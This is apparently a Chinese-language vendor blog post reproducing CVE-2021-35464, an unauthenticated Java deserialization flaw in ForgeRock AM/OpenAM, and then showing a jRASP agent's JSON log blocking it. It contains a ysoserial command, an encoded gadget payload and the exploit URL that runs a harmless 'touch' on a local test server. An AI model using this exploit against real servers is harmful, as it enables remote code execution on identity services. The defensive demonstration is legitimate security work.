ForgeRock AM是一个开源的访问管理、权限控制平台,在大学、社会组织中存在广泛的应用。未经身份验证的攻击者可以通过构造特殊的请求远程执行任意代码,并接管运行ForgeRock AM的服务器。由于 ForgeRock AM本身的权限管理功能,攻击者在控制 ForgeRock AM的服务器还可以直接访问其他敏感服务,进行进一步的攻击。
该漏洞不需要进行身份认证,无需任何用户交互,攻击成本低。同时因其为关键的边界身份认证服务,一旦遭到攻击,将导致非常严重的后果,利用价值极高。
下载 OpenAM-13.0.0.war
wget https://github.com/OpenRock/OpenAM/releases/download/13.0.0/OpenAM-13.0.0.war
OpenAM-13.0.0.war 名称更改为 openam.war
并复制到 tomcat/webapps目录下
启动tomcat 并访问 http://localhost:8080 进入openam管理端,按照管理端的流程初始化open am
RASP防护
使用 ysoserial 生成反序列化类
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
生成反序列化类
java -jar ysoserial-master-SNAPSHOT.jar Groovy1 "touch /tmp/CVE-2021-35464.txt" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
生成结果
AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbG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AEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA-nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB-ACQAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeH
发起攻击
http://localhost:8080/openam/oauth2/..;/ccversion/Version?jato.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pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeH
攻击成功
/tmp/CVE-2021-35464.txt 生成
开启RASP后重复上面的http请求
{
"protocol": "HTTP/1.1",
"method": "GET",
"remoteHost": "0:0:0:0:0:0:0:1",
"cmdArray": ["touch", "/tmp/CVE-2021-35464.txt"],
"requestURI": "/openam/oauth2/..;/ccversion/Version",
"stackTrace": [
"java.lang.ProcessImpl.start(ProcessImpl.java)",
"java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)",
"java.lang.Runtime.exec(Runtime.java:621)",
"java.lang.Runtime.exec(Runtime.java:451)",
"java.lang.Runtime.exec(Runtime.java:348)",
"org.codehaus.groovy.runtime.ProcessGroovyMethods.execute(ProcessGroovyMethods.java:526)",
"org.codehaus.groovy.runtime.dgm$746.doMethodInvoke(Unknown Source)",
"groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1085)",
"groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:952)",
"groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:909)",
"groovy.lang.Closure.call(Closure.java:423)",
"org.codehaus.groovy.runtime.ConvertedClosure.invokeCustom(ConvertedClosure.java:51)",
"org.codehaus.groovy.runtime.ConversionHandler.invoke(ConversionHandler.java:81)",
"com.sun.proxy.$Proxy357.entrySet(Unknown Source)",
"sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452)",
"sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)",
"sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)",
"sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)",
"java.lang.reflect.Method.invoke(Method.java:498)",
"java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1185)",
"java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2294)",
"java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2185)",
"java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)",
"java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)",
"java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)",
"com.iplanet.jato.util.Encoder.deserialize(Encoder.java:359)",
"com.iplanet.jato.view.ViewBeanBase.deserializePageAttributes(ViewBeanBase.java:934)",
"com.iplanet.jato.view.ViewBeanBase.invokeRequestHandler(ViewBeanBase.java:568)",
"com.iplanet.jato.ApplicationServletBase.dispatchRequest(ApplicationServletBase.java:957)",
"com.iplanet.jato.ApplicationServletBase.processRequest(ApplicationServletBase.java:615)",
"com.iplanet.jato.ApplicationServletBase.doGet(ApplicationServletBase.java:459)"
],
"localAddr": "0:0:0:0:0:0:0:1",
"parameterMap": {
"jato.pageSession": ["AKztAAVzcgAyc3VuLnJlZmxlY3QuYW5ub3RhdGlvbi5Bbm5vdGF0aW9uSW52b2NhdGlvbkhhbmRsZ...(后面省去)"]
},
"cookies": [{
"httpOnly": false,
"maxAge": -1,
"name": "JSESSIONID",
"secure": false,
"value": "85E261E9A68369F3C7C4DBCFB05481C6",
"version": 0
}],
"remoteAddr": "0:0:0:0:0:0:0:1"
}
管理端使用以及jrasp 安装指南:
http://www.jrasp.com/guide/instruction/admin.html
github:https://github.com/jvm-rasp/jrasp-agent
加入技术交流群请添加微信:sear2022